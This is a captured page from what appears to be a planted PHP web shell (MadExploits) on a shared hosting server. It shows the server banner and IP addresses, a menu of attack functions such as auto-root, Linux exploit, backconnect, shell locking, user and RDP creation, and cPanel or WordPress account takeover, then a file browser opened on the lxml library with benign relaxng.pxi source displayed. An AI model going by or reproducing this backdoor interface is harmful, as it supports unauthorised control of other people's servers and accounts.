Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 18.222.113.135
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
hc_python /
lib /
python3.8 /
site-packages /
lxml /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
html
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
isoschematron
[ DIR ]
drwxr-xr-x
ElementInclude.py
8.36
KB
-rw-r--r--
__init__.py
574
B
-rw-r--r--
_elementpath.cpython-38-x86_64...
490.06
KB
-rwxr-xr-x
_elementpath.py
10.63
KB
-rw-r--r--
apihelpers.pxi
62.12
KB
-rw-r--r--
builder.cpython-38-x86_64-linu...
252.29
KB
-rwxr-xr-x
builder.py
7.91
KB
-rw-r--r--
classlookup.pxi
21.91
KB
-rw-r--r--
cleanup.pxi
8.26
KB
-rw-r--r--
cssselect.py
3.23
KB
-rw-r--r--
debug.pxi
3.21
KB
-rw-r--r--
docloader.pxi
5.64
KB
-rw-r--r--
doctestcompare.py
17.32
KB
-rw-r--r--
dtd.pxi
14.87
KB
-rw-r--r--
etree.cpython-38-x86_64-linux-...
10.02
MB
-rwxr-xr-x
etree.h
9.68
KB
-rw-r--r--
etree.pyx
129.52
KB
-rw-r--r--
etree_api.h
16.62
KB
-rw-r--r--
extensions.pxi
32.56
KB
-rw-r--r--
iterparse.pxi
16.14
KB
-rw-r--r--
lxml.etree.h
9.68
KB
-rw-r--r--
lxml.etree_api.h
16.62
KB
-rw-r--r--
nsclasses.pxi
8.92
KB
-rw-r--r--
objectify.cpython-38-x86_64-li...
4.84
MB
-rwxr-xr-x
objectify.pyx
74
KB
-rw-r--r--
objectpath.pxi
11.18
KB
-rw-r--r--
parser.pxi
79.95
KB
-rw-r--r--
parsertarget.pxi
6.18
KB
-rw-r--r--
proxy.pxi
23.14
KB
-rw-r--r--
public-api.pxi
6.51
KB
-rw-r--r--
pyclasslookup.py
92
B
-rw-r--r--
readonlytree.pxi
18.53
KB
-rw-r--r--
relaxng.pxi
6.19
KB
-rw-r--r--
sax.cpython-38-x86_64-linux-gn...
419.46
KB
-rwxr-xr-x
sax.py
9.08
KB
-rw-r--r--
saxparser.pxi
32.78
KB
-rw-r--r--
schematron.pxi
5.77
KB
-rw-r--r--
serializer.pxi
66.36
KB
-rw-r--r--
usedoctest.py
230
B
-rw-r--r--
xinclude.pxi
2.4
KB
-rw-r--r--
xmlerror.pxi
48.54
KB
-rw-r--r--
xmlid.pxi
5.93
KB
-rw-r--r--
xmlschema.pxi
8.29
KB
-rw-r--r--
xpath.pxi
18.68
KB
-rw-r--r--
xslt.pxi
35.18
KB
-rw-r--r--
xsltext.pxi
10.83
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : relaxng.pxi
# support for RelaxNG validation from lxml.includes cimport relaxng cdef object _rnc2rng try: import rnc2rng as _rnc2rng except ImportError: _rnc2rng = None cdef int _require_rnc2rng() except -1: if _rnc2rng is None: raise RelaxNGParseError( 'compact syntax not supported (please install rnc2rng)') return 0 cdef class RelaxNGError(LxmlError): """Base class for RelaxNG errors. """ cdef class RelaxNGParseError(RelaxNGError): """Error while parsing an XML document as RelaxNG. """ cdef class RelaxNGValidateError(RelaxNGError): """Error while validating an XML document with a RelaxNG schema. """ ################################################################################ # RelaxNG cdef class RelaxNG(_Validator): """RelaxNG(self, etree=None, file=None) Turn a document into a Relax NG validator. Either pass a schema as Element or ElementTree, or pass a file or filename through the ``file`` keyword argument. """ cdef relaxng.xmlRelaxNG* _c_schema def __cinit__(self): self._c_schema = NULL def __init__(self, etree=None, *, file=None): cdef _Document doc cdef _Element root_node cdef xmlDoc* fake_c_doc = NULL cdef relaxng.xmlRelaxNGParserCtxt* parser_ctxt = NULL _Validator.__init__(self) if etree is not None: doc = _documentOrRaise(etree) root_node = _rootNodeOrRaise(etree) fake_c_doc = _fakeRootDoc(doc._c_doc, root_node._c_node) parser_ctxt = relaxng.xmlRelaxNGNewDocParserCtxt(fake_c_doc) elif file is not None: if _isString(file): if file[-4:].lower() == '.rnc': _require_rnc2rng() rng_data_utf8 = _utf8(_rnc2rng.dumps(_rnc2rng.load(file))) doc = _parseMemoryDocument(rng_data_utf8, parser=None, url=file) parser_ctxt = relaxng.xmlRelaxNGNewDocParserCtxt(doc._c_doc) else: doc = None filename = _encodeFilename(file) with self._error_log: orig_loader = _register_document_loader() parser_ctxt = relaxng.xmlRelaxNGNewParserCtxt(_cstr(filename)) _reset_document_loader(orig_loader) elif (_getFilenameForFile(file) or '')[-4:].lower() == '.rnc': _require_rnc2rng() rng_data_utf8 = _utf8(_rnc2rng.dumps(_rnc2rng.load(file))) doc = _parseMemoryDocument( rng_data_utf8, parser=None, url=_getFilenameForFile(file)) parser_ctxt = relaxng.xmlRelaxNGNewDocParserCtxt(doc._c_doc) else: doc = _parseDocument(file, parser=None, base_url=None) parser_ctxt = relaxng.xmlRelaxNGNewDocParserCtxt(doc._c_doc) else: raise RelaxNGParseError, "No tree or file given" if parser_ctxt is NULL: if fake_c_doc is not NULL: _destroyFakeDoc(doc._c_doc, fake_c_doc) raise RelaxNGParseError( self._error_log._buildExceptionMessage( "Document is not parsable as Relax NG"), self._error_log) # Need a cast here because older libxml2 releases do not use 'const' in the functype. relaxng.xmlRelaxNGSetParserStructuredErrors( parser_ctxt, <xmlerror.xmlStructuredErrorFunc> _receiveError, <void*>self._error_log) _connectGenericErrorLog(self._error_log, xmlerror.XML_FROM_RELAXNGP) self._c_schema = relaxng.xmlRelaxNGParse(parser_ctxt) _connectGenericErrorLog(None) relaxng.xmlRelaxNGFreeParserCtxt(parser_ctxt) if self._c_schema is NULL: if fake_c_doc is not NULL: _destroyFakeDoc(doc._c_doc, fake_c_doc) raise RelaxNGParseError( self._error_log._buildExceptionMessage( "Document is not valid Relax NG"), self._error_log) if fake_c_doc is not NULL: _destroyFakeDoc(doc._c_doc, fake_c_doc) def __dealloc__(self): relaxng.xmlRelaxNGFree(self._c_schema) def __call__(self, etree): """__call__(self, etree) Validate doc using Relax NG. Returns true if document is valid, false if not.""" cdef _Document doc cdef _Element root_node cdef xmlDoc* c_doc cdef relaxng.xmlRelaxNGValidCtxt* valid_ctxt cdef int ret assert self._c_schema is not NULL, "RelaxNG instance not initialised" doc = _documentOrRaise(etree) root_node = _rootNodeOrRaise(etree) valid_ctxt = relaxng.xmlRelaxNGNewValidCtxt(self._c_schema) if valid_ctxt is NULL: raise MemoryError() try: self._error_log.clear() # Need a cast here because older libxml2 releases do not use 'const' in the functype. relaxng.xmlRelaxNGSetValidStructuredErrors( valid_ctxt, <xmlerror.xmlStructuredErrorFunc> _receiveError, <void*>self._error_log) _connectGenericErrorLog(self._error_log, xmlerror.XML_FROM_RELAXNGV) c_doc = _fakeRootDoc(doc._c_doc, root_node._c_node) with nogil: ret = relaxng.xmlRelaxNGValidateDoc(valid_ctxt, c_doc) _destroyFakeDoc(doc._c_doc, c_doc) finally: _connectGenericErrorLog(None) relaxng.xmlRelaxNGFreeValidCtxt(valid_ctxt) if ret == -1: raise RelaxNGValidateError( "Internal error in Relax NG validation", self._error_log) if ret == 0: return True else: return False @classmethod def from_rnc_string(cls, src, base_url=None): """Parse a RelaxNG schema in compact syntax from a text string Requires the rnc2rng package to be installed. Passing the source URL or file path of the source as 'base_url' will enable resolving resource references relative to the source. """ _require_rnc2rng() rng_str = utf8(_rnc2rng.dumps(_rnc2rng.loads(src))) return cls(_parseMemoryDocument(rng_str, parser=None, url=base_url))
Close